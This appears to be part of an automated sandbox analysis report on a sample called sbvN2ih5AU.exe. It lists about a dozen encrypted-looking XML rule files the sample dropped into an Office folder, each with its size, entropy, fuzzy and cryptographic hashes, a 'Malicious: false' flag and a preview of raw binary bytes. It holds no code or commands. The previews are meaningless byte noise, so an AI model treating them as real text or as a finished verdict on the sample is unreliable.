Preview:	<?xmlf....DZ,..=Y9..u.8_.._.'.....6......+..B4 T...._?..........C..R....&..m.hk_.@.O.0.2.....Gq..(8.N.F........Cp.-..S.{V..)V.c........Q....x..0..a..#.$.../.C.]Q.&.s.=..l.k...Ts.....B.cR...Xq..m...a....5#....%.k.g`d.tD...Y..z......j..G.N.{;..T..1UC... ..b.B........u.k.h.&........qOWQZD..+..J../^..U...........v..K .P.!@H}.....~...<.2%..%.....t.i.6yVe9.c5A.2.. p..u.OFd..f....}..MA..4.s.v.$.cV....oi.A...f........Z.<:...K.o..s...K......>' o...E..I....s.;..@.uB..5..HB..eK.H......h..(....`n..zzf...........s2.#...)........J..Z..%.a/m.....2....kQi.l%...p5.z.M......aur.....@..C..."._F....!4.....Q..F..k+......C.P..2....."%9......S B2.f.....N....."=..en..&..8q..8._l....B.8\.[..?.R$..\|.wb.@...,.Q.6&..s...m5.V....2..B$]........_$.b..=M..1[d@z.u. ..b...N.B<V....j..N~.[..V..jCYL\|`..nuK..r...O...pJ...[ac..VRO3...p.7..H...)./...J...@..9@-#".Md.\|.'i6iw./.....~...`....m.a.ZD....n.-i.L.........^.'}_.../j.q-...c..]...E/.X.\|..w.....D.6....* .L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.83620347901871
Encrypted:	false
SSDEEP:	24:ilLXVI44cB8Z6s9BnpTgSdHXRUzIgPTJhqQ+oF5Y2bD:i1FT4cELnpThRRUxhqQ+M5LD
MD5:	377D7625070B16D0831B524719FC1C55
SHA1:	FA5F29BC63A6B84145FA2035A580A3DBC50B1E7B
SHA-256:	19AEE43269D5FBBF8D9C64179E274596A1C804E9B43717095814C568285C8A8A
SHA-512:	8F427232A7FE76D29451CA6CCF3DAEC3771286F86ED618291ACFBF01803400A563412C8C976C606106BE66221C0FB8627A83284846383D5395535E4DEBC93C32
Malicious:	false
Preview:	<?xml.....0.>...I.i.......?....a..v.....Ee.r..6S...F.6.I...5b8....g.......V....B(?.R.&.....mW>..1.&^..m.vc.#l..d....{...".a........qz...=Y.'?..VZ.>x.X.....i.)...4...J..to.r\|..gw.....:.." c...h.<$.n......../2...f;..h....Pm.ZR_....r.Qn".\|).B~...\.."..._..M.0zY.uw......b.h.1...].wO?.w..ve...\i.s...1.m.\.o...0)\|>...I...1.u.%...[JD.(#......B....q..9x..A4.LH'.#....5.Cu....N..R[..22M....5..ma.._c.R..o2}k...../.R...6...4.qj...a...C....)..7.......f.T2.. .s...x..pN..r...\|"...MX.b....D...".k..;...T...\|.V...$..0....7.Q5...^k.x.?0>....H....[.."[.s..~.t.:a.zz.^._u?.....B.P...F...C.~h.Yy.>.9c....K..\.5..0..g.q.........].aW.RFV..;..6?..UZym.[.+..d.\.j.:..a7...f.....&Pu..^. :.....Zr.L..........8..:...u#@.n..1w5*..dV;oI.,..A..Q..A.._.T.>..u.z.#p....]..%............^..n....N..#0..@..l"..%.'...."..[.8.Ga.h... ....1."$...'Q}.v.$5.A.mD...P..F#?.........\|....As...,..3.[.y.'.LV.{..~4....c2.... .....]w...R.}...}0.......t[.H...B.iL!+@.=&......{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.892718205208697
Encrypted:	false
SSDEEP:	48:lXh9JLUwyrfyFs05w2SVrpRB2NCY7jdqFNCiMPv/D:NLpUwMF2zSxpICypmN/MPvr
MD5:	518F59BE077CDD212B94E6D4F565CCD0
SHA1:	462E5140C8327AE5C759BCD419901C4EC9487A3D
SHA-256:	4B1A4DE2D9D4D7E24F1265C3D78379F75378DA765500B3BCB1302CCB5A587D07
SHA-512:	94549C740538A153693E0E0379DFDC27B87746A4F2F312F24A564C1C9E600FECA3BC95F336B032B937C99591E1BBC3DA08D82E977A482F397EEB366331E7F56E
Malicious:	false
Preview:	.<?.I.......p...x.vKh.1.s.n...4:..7).2..o $.&...cn.`...D3.7U.....;..Yh.....o...9..rA...@P..P..]b..EU<D.[= 3%..MJ.?G..l.......8DQTt...~...\|7.\|.a.U)u....8...=..mU.K..C$p6..._..>..7.o>....]c.j......Ag.Ft....pB.?..6....^nv....bs....U<.g~P...(!.<.b.\|bL.z:...".xY>fZ.b..#.F2...=ls).Hzk.:...N...Y...A.J.A....-.........i.3..z...np..:."......E2..=....yX.. ...[....5.T.X......_MFS....1..h.}...7.........\.......q..)-Wzv.._'_...}.9....'.LS`... s...\|.U....9@..U..9............s..7....I.!.a..K.O.E......c...O.@!..abn...v.)eTBb..@...;6..........[....U..)p.+............].=.z...#NH:......[.......,.......R....D.....U.u.v....d..G.^...OI.;......5y.~...H................>....V..n....xwV..."...d.g.{[.e.\|..o.W...Uk..N..6./..J.>.6...PbZS_.......R).H....s,Y2....,...0..1....q.(..y@.).$}".E.W.....G........SR....a....[$..h.^.-...G..c.3h9.>..,.;X.Lm.K\|hy.(.g<..O.&...N..k.,=..b.;.4...Ek..,....t...{.H.S...".3{.D]fo.j>........l...`..'.....A+....=...du....pD......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.891393608552757
Encrypted:	false
SSDEEP:	48:4bdWI+tmLJ8Np5oB67wqyhhJuO8ggbiOl0wf9xD:4bdf+Qyp5eU8v8gaBzL
MD5:	1D1D258C1152B1243D5D8988518AD496
SHA1:	654D04DD826FB2684841C8C1B64763F2F555F756
SHA-256:	6240780E3E862FC24909692EBC25A295338C1AFA5B0E5B8862BD2211FC450D05
SHA-512:	5FD08B7756FA1F2A4086C26B487297A1AF6AEAE880F7461E810AED1068F839A50FA62861FCFFB54613BAB50EC94B6DFA8C39BD03C41E9FFE8EB94330CB528B34
Malicious:	false
Preview:	.<?O.&.s..O...uc{....[..Y..2l,.V.v.q;...r...E2.<K-.,7.>..4.t...Ln.>.._..\|n....}.....g....T..........CU.....R_o....`...f..;....ee.D.L'.q.6....@..U.L.;\)v9H....k.m.Hw:}.........k.i-.SO......n?..Y^U....t.8..0.m.i....Q~.i...ZU.:>?z..W.4....04'..h......&....KA.@.....K.g...Xu..[.5\|T.b.Q]....A.3.?...%.Z....}..c..x.0w..z.d..L..8.7......"..#.]..8n.....j.....}+...!..J.6..^a..R..A..N.....A.aCr;7Z+...;.}..1...p.......DQ......A??p.v[M.iH7i.@...k....t..4'.>tw......!.P".Q.Ev{n.x.......`...`.V...jr%..~`f..%3....?.p.r..3\|K.O...."..)..../`.=K..Z..$..x<.F.`.(....j..g.8..".}/.~......S-0g9.q.d.S.....\N....`..S.....=..I.....W.....uLP..S.E..X..gLH\|Z-..K.$..J...I...?.cl]..6.v....#.0......Z7.N.EV...J.@...q>.`.utPl...%..]..9.......n.v\yJ.`.......uD1..-.A..?f.g..S...i.5..HW.!...E.+...,.....Xy...HI...O.!...E.Y.D.../.e.H.....P....M....v.$"6....=.b.`.w.:c.z>..0k..[m.c/...42]..J...<..=8>....R.....].PF.B..{I..5L...V~.B.\|2..2.R..0=.\|.U.1e.0CHgEOC{86<. ..&.M...)\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.898115767056094
Encrypted:	false
SSDEEP:	24:SX/4z8mEmky3w6CGUkN0kj5kHmIStJs69S63XA19WalxaykWdsHn2bD:vhBA6CfkuvZ69JI9ZlhdsED
MD5:	9B85B060BAE1F73DDE42C71FEB96CF55
SHA1:	AD2C16226A32634D70E535ADA48075D646DF8BE5
SHA-256:	2807FA9AC95B62F9456FB487E13294FEE7BB717CB41ACCC387AE8E3D457875B3
SHA-512:	620202F7AF562EA4998CDC3B09BD8AB0E7B6E277D78516C75147DEC7EE2E132D89D38DC4BBE9653B4604F10FF7932EEE42E549D10E70E31E4EB94732D9C7D623
Malicious:	false
Preview:	.<?.....t.].........o..O.....(.z..P.2wg`.i.%~....R.`.?YK.qo..I.../`..U.z......k...&:N.e;>.......G.....=H8.g..h..$.w._..o.wJ....v.Uk[....J.....V..vExS........$..q.&..HIX.....O.Q...>~>J.%.hDh%.C.....,."&s.in.-....2v.<..Ys..>....x..k..,a...<.L.j..l...B..+.....N.h...-._...!.z...8.#.Ad.=..o.."..m........,.d'i.......Mie.!8u. ........g.T.2h..ka.x..}......+.M....c..\|..ysrN. s.t...n..pof..f).;....s+%.W...T.{{Z:.@..HrM`.Sn.........3.d.4..#}...P...1.8.hC.m...,}..@5;...o.?g.K...U..onUJ....F.......th.^....w:..)....M....wr....H..1..!..3...-.........[..O...c...PT.U......\|....L.~.q.:h..d<q...$h63...Z..\."..[.5....`......]..^.un...l...t....h........s..$.........I.."R.q..).Z.3.d\|,/cm..q+....8.j..\...P~...^b:Wb"7!<..Q......3R.q.........4..u..o...D..U.y:K\....d...{......%..dN...%.m... ..Q........S..-....\|.vd4GJs.=3d......HA%.,......-1?z.+..#.J.s...W..h..a...?2.2..dx.j.he .S...i!E..L.uo....:^h@....^.....7.\......y.'.....X..N>e=.V...X.,M...=.....c.<u.b.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.879953365384919
Encrypted:	false
SSDEEP:	48:/KOoIblqpTVPv/tQ90aU/6DjsuWXx4fZQD:yOoQKTt/q9DUcQneK
MD5:	BCF43E7D537CF23C82CF0424AEB553E5
SHA1:	4ACD79D0F7956AE192DCCEAE08D9093F21490A19
SHA-256:	B76AA826082E2321C499C65827A203556DECF25A4978CFF92DC5F130A13943BC
SHA-512:	DBEBA008B10188F87C76D38F9CD17EC5CE816AE600949B13E285D7B11343EC55A8D77D7E0D8BCEA725EF1481D6118F7C9F6173D4F64AF82009F0E1674AA05149
Malicious:	false
Preview:	.<?.....e...#f./s...5.....oxd....lu.......%...#.V...f!..s.{..]..B.V..........~].x.....S....\|.<.\|..l..y........&...n?P.......... .....l.....0..B..Y.W............."X...F..c..:}.`..'.)..j>z;...Ur.@...j..a.^.X..9....I.+.....P##U..o....R.m.M"W]?..e.A..:..`..P.............?.A....<w..[m.3.ex.K...1..L7.......S.vGl.....H...".Q$]..C...?..A..9.7.P.B....H.1...t..\?o.Zl.......z...S........H.....+W.K..I.w.0.^2...5...\|w.....)..e..p...s.:.........h......a...:.8L.G..^.(.\^R!U.ID.quB7.......U..M..>....v....E-!......c.e.8<$.zD.....H..p.y5...[v=...U#....SC.ee(.4..j:..CEs.~B...T<....KCL.`R^.N.(.&.l...a...ZU...s.L'jr..A.?..&..=....I..vF......a.......9h;d.-....?X.,..\|.....Y.=.9........R...+.J.9.l.9...UE.q...,....G..........+.R....6:.:j].E. ...N.^.4..V.U.....X.~[....#.t.....e....m&DM.F.H..Y\_]....%a%L.......v6.Cfhd.[.g.q.VnM...H...!r.b.t...$..A.aL.......3.x..q....e...E)29...J.?%..........$ +..>X`#..ba..V.....Og.f.[>&.s..t..q?I..`.:...-:..i..&...O..e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.877676214234812
Encrypted:	false
SSDEEP:	24:s0HwSJxxruj9N6mjfifup2nW8K5zyum6egY4MXXNDWXvurxOEz74rb4j1o2bD:s0xf5E9JbibnG5ObI+XNqXcEy1bD
MD5:	1E2FBAAD022D845CED8D38CD45308BDF
SHA1:	9EDF23577333A94A6EEB6D750ABF3AD7B2A3C117
SHA-256:	44926E462F6C6BD05A1572055A848E3A924CD02D205FBD66937B5248A6AFDA93
SHA-512:	8036F499F91B77F753660D33AFC8C808B2E69DD67535372F558C048293365B8E0CF01BD732DAE087D527CF1587EBED2B0860C156D9F03215726895CDA9D947E1
Malicious:	false
Preview:	.<?...mx.9..........D..k..6.....mw.5..B..ior#X.~....7..,.D{...!q..>#......\......%..,..B....&..._>..`_...d..i_....W.........\|\.......0..t.Z..^Jr.........5..... ........JI.l.}..R .=...o...A..;N...pO.7.&.:..3..../3w.t..'../.%....H.)...`..d.......#+....aD=..}\| ...<.J...8$..G..~l..6.?I9.....^.W%.E...Y....99...<..1..\|..R.....dPb..!..hK'2J:.X%.._k(...%.tE.o.X.V..&.......5..a.'..8! .n...Kxe......)..dj..S&.,;..Z..x'6....c8_....$....-......1...k.8m+9.W .\|G.}e\|.f.n.SMv....%.k3.`.(.....-..+.....Y...T..Z$.....;...[...M:.e.(.E.R.....F....!:zF.*...vY......>...4.....8..d.NdB`...2.t.....;.....^N.....V...BI.U...W<.....!.%;F.........D..!...O.........K\|CMYq!......CJ.V.}_n...................7...2.m.I.....vY..V.E........... .D.b=..}..t.0...\|{v.@.bXc:.s...".....%..B.8.ay.......7..-.\-.\|3k....D.-.^IH.......!.L}.G{......,...,..j@ew..mQ.X.2.4+.....KD@.\....U...]..{...x..>&.;k...'.?..X.H$W..dV:.....o..#Q0..l...@%....+B8.3y~...U.Md..M..gR..yFi1,K..."....... 1.4..#)Z.g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.883140924158618
Encrypted:	false
SSDEEP:	48:h4WxJzg2R+mtVS/PB1SB5g4hTmb3067Vl6+E0C3fb6qD:zxpg2E6V0qO41mwiVl6+E0/i
MD5:	79460788B1EF1388502C7E05EE7D143A
SHA1:	4A0CE96E69DF6F255B3DAD48FB5601EB089E2A74
SHA-256:	619CD1270B7E2036D4226C6BF2B922EB4369B793F2F925CA85F62B8DCC550FE3
SHA-512:	E699EDA0278CBCD1EC8F2E87509E7615871EB2D8EC25A3597E215F9F31E1306FF7C1199F1A8F12B8D17AEE6EB99012DB4F5D6114D3FF79E425FB142AFEBA0ECE
Malicious:	false
Preview:	.<?x>:.....s(B.X.KQ'.P.R..K.A#.=...w.5..i....z.#..4..."./......N.DH/.l....=q..T.........3...G..a...=...$...!3zN;.B.q..M..c.\|....'..p8,gf..1..v..).FB....O..<G>.?-..l..U_O..>....q....h../...'.,.."....E...L....=k...;..No\|9..9).Z..9.+..f.q....J!..8G..<g.^.fS4.F]po[.O.".......O'...V.F.XQ..7.....5Je.....7p.z...J.Un..L,......q..}JF.6NCE.yE..#.Z..ak#...UQ....-....rZ9{..cx;b....p._s..r.`.F9.h1...EE.`....^....S._(..~'.+...h^.B5.~f......&kJ..R..D..W....HVu. j.a...bh.o..TV....Qx.G......w..g}..M..U.<.:.......ayB.$..N(....p_Vn.1...hz..........E.mV.. 1w.0..eR..G..wI`..ecD.\|...I..8..*<B.....x...1..F..`g.....$z..2.y.D.....u..u...u...{.....-.....S..I.q9..`C....X6.'.....G.A..h......?...s.>3..u.5%XjA./MQ.~...b.vrwW;....{..g9..a..]Oh...4.]..L.7).f4'.b..p.......:.A....].2.....R...8.. J......`D%.WH..H.S.T.......^.8.x.....d../.-.\q.1.Y..'....zz.)..4.M8$4...2..j....c5kS0.........fQ..../}.+r...,..$.=..l..lX....p...T....1-.i..I...I..S.....U.V.X....0...=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.886742307227276
Encrypted:	false
SSDEEP:	24:uqP+Rd/Gv15XjY2zdu1NPhaIjpvkGM42SvS/e18N5lxjlK3li52cfDScm2bD:5+R5Wd0hhhjpcH4/vSW2DRK3a2c/D
MD5:	F314460B3A5B8692465C0D5DF35C70AC
SHA1:	1757C7CB4A300B98665240059F2E758230A38CD8
SHA-256:	BBE29E87E008B5E315A7A6D2304BC9F9CBF3B0923231219EC1401C69F1D733DF
SHA-512:	AE871286F3B9A2D8C5DECD4D18913877598F6757933839ACC177D6367AB4A80ADB68FA8B0F90E230826AE90E9082C8FBC51A20DADD0CB934F78C93269DCC082D
Malicious:	false
Preview:	.<?%.l5_.9...V....H9...t..i.;..j~jF... ..q...e&.r..A"...1.W...b?.....!V.tL.N..5.............^.<...g...."@GJ......[.{(.M.j..v..V.........$.,u.^5[K.X.E.,'P.G...Q..T..$x..`.6#h....F8...].\..V..=..#..`.....Y.......&..I5q0..P..iH.&....{)...+ ..@..eX...c.....R.../.<4...>..{......q...0.P..M.....d;.$.ma~@:..p...rb.23\&.....u.=-.J.;.M...'+...] .}.P6..u....~...H...;...0.;.13.].f...[.....LG...8..^.=.)..Yb.l:y...,i..n..ny..e:.li..7.8./...JA..J<y.!...3....h;..:.9Q.l4!p..nX3.I....D)..az.c...-..+..u]..n.....m....8..p).2..>..Q3.+.c.......R...a4i.......K...6.pP\|7.>.....o;F.Uia....bJ.)A n..fOz.Q.u.U..y....xY.....B...e. .;..u.y....>H..........:..JJ..,...f.7..`.lY.Ir.c.e..?.\|..'.G$=>.~....B.Yw...&..H@.q......\.q/............P.68{.V.T.{d.....6....r.......n.t0...u........2.)...F`...S.....y.8.B]S...T.....-MU...~.\.Z...ax.>X.]..E{?x.iQ..9.+.\...../.-j=....+k..m..>x..l8......9..c....3...]...a.imO.}.E....vx........w..........$.8/.S....o..B.HV....Tib

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.889065941914916
Encrypted:	false
SSDEEP:	48:kpz4CyP3k4wsv9y7M+sd4mSdv9a59m5m0DYr1pY9D:kpb+YslyO4rk5cA0DfF
MD5:	57E8DC16A27F2D7DE00147D2D3ECE968
SHA1:	3DDEDF3402EE4FD5D40051250F97879754678155
SHA-256:	24423F324AE1EBCABD5C051B8F0CCF800E987366F190379EDC36FBD33766DA55
SHA-512:	93AB30AA646627AE49D7224454A7491338BEEDBB16AADBEC688162EA615A0D2D7DF592F99426A8E05676BA1B65389FBEBAE5182D7C6B29C521EF5F2F124B8FAE
Malicious:	false
Preview:	.<?..PP.4s..v.t..+v.L..<.O ..mW....>....~E.;'....j.X...A..mo.lro{z.}.G...7.9.2.Z.eLC..<h..:".Tu8...H...,.....Ev2..c....J..07=a.....x.C5z....h.l......9..`.l..<.$.......{_...m9..w3f.k.........j.....0.5.....%.x...xI.c.0.O....2....~.../.Q.TO.\|p....p.(.J.s&..~N..r.3.a~...^......2Z.R10..-.CX...U..v.....p..p1._zc....F_.M<.$5....1......... K....(Z...{...6....\.....@...N..v4..Cv.S......X..m.'t...e...I.N...^.....n....8.".2..&..#.g%.....!?...m..2=.P....5.k.E....Z........Vl..".]."...E...i....X4a.U\|..A;..H.s./..;.%.7...p.i..i...\|z5.9..S.".?....i.6.T....f..q.......jM....)...:B`.2..pt..t..0..81.2...F...@E!..I...7...u....He..xw).t.@.yF.R..../.....e..Td...e.....b.J.[..Tt..{....Rk......G.e.V.x.k>n.\.N....mN......Wt..c.l..#\2Cfpg.....C7...[.%.s.AE.P...[.I 0..G..+..{.1.'e.x.........X....XB.X..`..]^..%_7#y..i....)....E@..9.No.Ug.T./..A.4..<.V.SVE..&....Y...\....y.V..OX ..`.f....(~......<...F...E..A2.[......2....ZN.=..........F.2...V9.P..?.^Kg@".@..+*j.W^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.882550478673107
Encrypted:	false
SSDEEP:	48:AgsizA+EyTHNCjzMRbfZPCH7a6PxBwmWajKM2HD:LtzA+vzNKYbfZqnMnzM2j
MD5:	76B24070E017D61036719F86446C8E24
SHA1:	72872D1B2D21A8521251C27B5F49FEF5320910E8
SHA-256:	90989975FECFD041F45D5BF003CF2DE15415A385A7E7242C0CC4D87E16383937
SHA-512:	421255CED278EB7B5C8DB6F3B908DFD340AE6015D62907884A11663136C0FFA8C16F80DFF20954B4810683A39773F253AF7499FCE5E477A30BFDED63C971708F
Malicious:	false
Preview:	.<?.W'S.J\`....&C....L......\...J..#.X7<.../...P.-N.z..1S{9voOe(....'`...\|....ay..j0..(...u2U....c.Q....g./;.Mxm.a%0..I..!.._..X...r.....LD..KH....0TY\2#:...;....l...o.m....43..Kd2.\36..~..A._I......i.+...@..7.F..X....f..6\....F.!....G.<......`8.....)..`.0.\|..5........q.........a.,s..^.J..4.........v..j..^N'..HO^.&....z.f&e.A.Cy..si<...!..j.t..w..e..mM....l...>\u-d.j...._..wKuw&....a.....ZF z.b..(d....dz...a]...~ Q...S\{..#.L;v..Y.7....Ii....;......W....J-.t..m.......K.7..`.F1.D....[.......;6..g..V.:.y..I..3 .....a^;.K...G.9B.tdo...o....U.......d.DU..?"..'.1..-....X.^_.6^`.r:.bJ?...F..t93....I....Z$...S....}..T.P4...%.eY.S!...M.^...\|;m.S...i...x.k5...2{.,.r..%^C......i}F.^.W:...s..O..........*[.).85[....3..#..X..w.C6./....].X.z.?.jE4..o...=..a.}..l\|.6.0..}('..x.'..7.,...N..3.1..[.. .J>..".0M..o.....Z....W..3..R8>qI.+.....e...+yB.\|.M..7.9....5/....IqW...jE.i..........[...a.H`..>..p.F(...~.6z`.Bk.8.a.......4o-7...0VN.a.Jk.5.0...w..D..Yp./.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.864558694774467
Encrypted:	false
SSDEEP:	48:3D4lfv5cO6qLY1AaEYS8MrT8+tNIxYf1MjD:6fB5fAS8S8G8mMv
MD5:	B131924C420C96FACE21B3EA0E78A9E8
SHA1:	C40C44F69F60C68E4C92881AF916EB2CC6A04076
SHA-256:	24F0583FCDBBFA9A43AF62C1CF8048C8DD8B4DFB7E28BA00E8368EB2ED8F0CD0
SHA-512:	7F264332972120DCFD129B686219F9E7AE3972E848422C62A778C96862798A77F5F7DB1EF621E993C58C824CF7978B3633D11446027492FDA275620CB1DC27EE
Malicious:	false
Preview:	.<?......J.e..)...k.....%J.w.....\|'.......5....)"#.Y3...t;..!..d......(6.&.oTPi.g.8/Q......l...Y.;#... _.?....O9....\|E..9`)...My.yH..y2]y..........Yv..j.oj.#.........MH.{C.....R..[..^...P#C.....Gx........x)~J[..rK.#.)...u..._.Sw..l-H(.f.T.[u..k.......\|..&"..G..;..)...0}.G.%..r..J...............Y..!x.X./$~.M.........SP.6.~.^1......(..i.t.%X..@m...P.F.J.?.Q.cR.............;J......rF.....&.B.....D..r.....7..}ht.z....=b.d.:.....@...0a..-'.b.jq.?-..{%e1...=-..y..ciZ........\|)s.@...t..."`..{.../.8'j.Pv.....\|....".j.......}..FdC...`).........-.2.d<5-.bp.LeDg...ga....]b./..`...5%...[.GR.8.....E.wZmF...B........#.L.....x...ZL.e.w.2[...........]'.......n.......5..o...v..#......e>ls.......v...Q...E...[$<....._..8h4.5..'..v. W.)....W.#e.M..qO..j..#..2..P.i.K..4..+..:yPiE./....V.9..h...(u.Xa@L.........F........tlc.N{..;:w..E...Mb...6.3...Gy..P@lc.$X.5.fjw......2H..a..BK1$.r..... 4.u6n.n...!.a...u...).$$.72.]F...$*.^.y..<.d...&;0..R,w+X.WK..h)dp.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.879236173954399
Encrypted:	false
SSDEEP:	24:P7c7S1+JfSRHoLoFxdF1FoVl/gvziReGDvB6LLm23WrSfrv619i17adEsPJYJhLc:Tc+AWIkFPLu6L68WrSTQuMhYH4akbD
MD5:	1031E26D84EDF382DBF90E9765A88117
SHA1:	80B1FFACEAA1ED6EE2E05A4B7AD5FA7F14FA3E06
SHA-256:	FF8A3AB0C308BAEA216D78B53E4F71413FF5EE4ED49BA2EA7B9B09E1FBF88AC6
SHA-512:	30BEEBE24B5F329AF14398F83F3FA3222B72AE5F1DCF8106E090E72D6F376C090DC45883816F0244B07B66A98524B595F68C73C6B7EBE1A9E12441302D7F9006
Malicious:	false
Preview:	.<?.-...@...x....Cd<y9p...&....Zch"....q_.8g%.q........).$. .wi.....b...:.&.t..H.I..?...6..........=.h(?Qe.&O.t0..EFkD.Bp......Z..D..{z...z.............%C...W..p;.2.9....X.:..r..O...k......i,.....k..h.J\..T....0..'.b".$..3.;..Q..`.L.=r...+.. .J.....0:..p..[<..X.8.u.8P.c..............i.....R#...L..R._....8!P=..e/..T.....c.(.g...w......I.u..Q.v..!.f..a..\..d...8....%...+....&.......~....yx.LI.b...a..-..^^........B.B.0.T&......,9..0.........:..+..h..?..s..#......{.I.O\.P.2..x..k@...p<$f...v>..5...Z2.h..f.u.a.....'z.....B/$U.LD.k..........-J...H...e.`.Pe..._.de..Il..\|p5..U....x.Vn.pz..D./...bKvye..5.!.b......cka$.E...e....&Z..[.:...q..3.......5&.c95.....T.N..FE.F.W.....+....2Il.s@.H.u....w... Z.e.9...S....tM:...YYD..%.HD.3....o<![,..../.p-y.\.H...TxB...vT.s.7..D..]3Y1Y..........#..]y.<......zR.......nd[....l.....0:.n....\G...\|l.5#.........4..G..p..S...k..Q....s....-...M...8.@.B.B........<...F.`..f......1.o..}.}..Xj]~UA...3L.........8.Ah

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8674591762826305
Encrypted:	false
SSDEEP:	48:4Jbo7JNcm8JQiUwP6V5F0Ki79n4rF2SOZBmG8x0J0w9NHd9yJKD:eMgJQtwP0W7SrF2SuBmGq+0SN9+C
MD5:	042FCCC9AFFC243114712A6760A1743B
SHA1:	1DA328567176DCC6AC62D823F5D91AF1BA343B03
SHA-256:	617F5A8906E0286CB8DC81009CB4F07C85228A42335B22471913B039F78CC488
SHA-512:	4024E1DF0BD1179292BB635097A6A9A5BF8E107F444A20026DC8558E7F5A1F449631B158406F84CD443FF2C53047D886284160297225B446F5BE0C50A8689BD9
Malicious:	false
Preview:	.<?..j.CP...p....7.v...Do^.(.z..a0....E.F.P.4].Q.z..Q5.}9a#....2...e.JM....!.$.xv..V9-..`L2FL...3..nhJ..G0.1.L;Q...U.!......e.z.Y..U#..~..E?....].)~.........jx..nZ....X".....d.9...M....f...r8k........+F.:2w....#I.K...Vj@._......+.{.5....lYO.....~......uO.....w...0%.3C'.....8J.....9...7.l.IAm.hQ.w..h'.'.f..\m.V(.aR..Wx.G.H.....l=..NJ.....4)lD.....#.i.....:........'...V.&.6.8.h:...Oz.Y.Ua.LF....YW1..Z...,....AX.M:7..9..0.<",..9b..e.......Hcka..............9..)Q......,....H.m.;..p.g.J..j.!..fE-..5or.o....M....m@y.....x$...".....j....[.f#..0.<DMvJK..v...i......)UGB.y...7e!.y......5.[..o9S]=A..+..8...\|.....JRh9K ..5m..nDt............~.\z..re...,}.A../.Z6.^?S-+..x.Wb.Q`w.z...&.'r.oI[O.Mgjk..>.. m.P...<.m{. ...bE....(......].Az{.0g..3.;-....&;F..q.....JSZT...G.Gn.kZ..d...r...>....7\|...rk..s4...U$..rbf..6.4.vl.m<c.%2...Y..bW-{.....:n..k{...8K...1..]2...~....)..P'..k.f .e.....].aof.9>..>j..S.8.pR.]...f..6,tP.....fk....p.AU;......:A*.x..R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.879200347553658
Encrypted:	false
SSDEEP:	24:togny6bZFMPqBme3Ne9gMpqs4/0bf1fES3uiQUiakBIg7lAlNaHY4iWBa2NwfWyw:DnFZuCBxt1sTTSSQUutE50RN9JD
MD5:	00F8F9CFA37B91293492C82720C4964D
SHA1:	695684936F9654B7D315C3D35DC23BF70C797829
SHA-256:	9938B9F595E21558F6255E882BEB72075B1D04FFBAF56BDA3F5A23C64B9ECFA4
SHA-512:	2DA7AF5C89DC28103FD0D9689F5730B27B9EC5620B5F28E8D4DA1146DB1CCC68648BDBF66FE92F5D016D7C82234D52BB5F0B00ECAAC529E2C6C654D1F6858EC0
Malicious:	false
